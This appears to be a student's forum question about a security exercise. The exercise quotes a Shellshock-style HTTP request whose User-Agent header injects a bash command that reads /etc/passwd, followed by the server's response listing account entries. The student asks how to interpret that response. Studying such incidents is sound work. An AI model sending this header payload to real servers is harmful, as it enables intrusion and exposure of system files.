I am working through a question that involves someone using a vulnerability in a Linux server in order to gain access to it. The first part of the question states
In monitoring the network activity between a critical Goldmine Tech web server and an untrusted foreign IP, Bob discovers the following HTTP GET request from the untrusted IP:
GET /cgi-bin/status/status.cgi HTTP/1.1
Host: motherlode.goldminetech.edu
User-Agent: () { :;}; echo "PWNED by 0c007: “ $(</etc/passwd)
I understand here a shell script injection is being used as the command $(</etc/passwd)
is executed, giving the hacker access to this password folder. Then, an HTTP response is listed here:
HTTP/1.1 200 OK
Content-Type: text/xml; charset=utf-8
Content-Length: length
root:!:0:0::/:/usr/bin/ksh
daemon:!:1:1::/etc:
bin:!:2:2::/bin:
sys:!:3:3::/usr/sys:
adm:!:4:4::/var/adm:
uucp:!:5:5::/usr/lib/uucp:
guest:!:100:100::/home/guest:
nobody:!:4294967294:4294967294::/:
lpd:!:9:4294967294::/:
lp:*:11:11::/var/spool/lp:/bin/false
invscout:*:200:1::/var/adm/invscout:/usr/bin/ksh
nuucp:*:6:5:uucp login user:/var/spool/uucppublic:/usr/sbin/uucp/uucico
paul:!:201:1::/home/paul:/usr/bin/ksh
jdoe:*:202:1:John Doe:/home/jdoe:/usr/bin/ksh
I am supposed to determine what the hacker gained access to. Here is where I am stuck, as I cannot decipher this response. I have looked around and cannot find anything explaining how to read an HTTP response from a Linux server. Any help would be greatly appreciated.